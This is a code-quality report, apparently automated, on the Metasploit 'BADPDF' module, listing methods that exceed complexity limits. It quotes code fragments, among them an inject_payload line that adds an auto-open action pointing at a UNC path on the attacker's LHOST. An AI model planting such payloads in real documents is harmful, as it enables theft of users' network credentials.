modules/auxiliary/fileformat/badpdf.rb
Method createpdf
has 59 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def createpdf
# Code below taken POC provided by CheckPoint Research
pdf = ''
pdf << "%PDF-1.7\n"
pdf << "1 0 obj\n"
Method initialize
has 29 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(update_info(info,
'Name' => 'BADPDF Malicious PDF Creator',
'Description' => '
This module can either creates a blank PDF file which contains a UNC link which can be used
Method injectpdf
has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring. Open
Open
def injectpdf
# Payload which gets injected
inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
# if given path doesn't exist display error and return
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method run
has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring. Open
Open
def run
if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
print_error 'Please configure either FILENAME or PDFINJECT'
elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
injectpdf
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"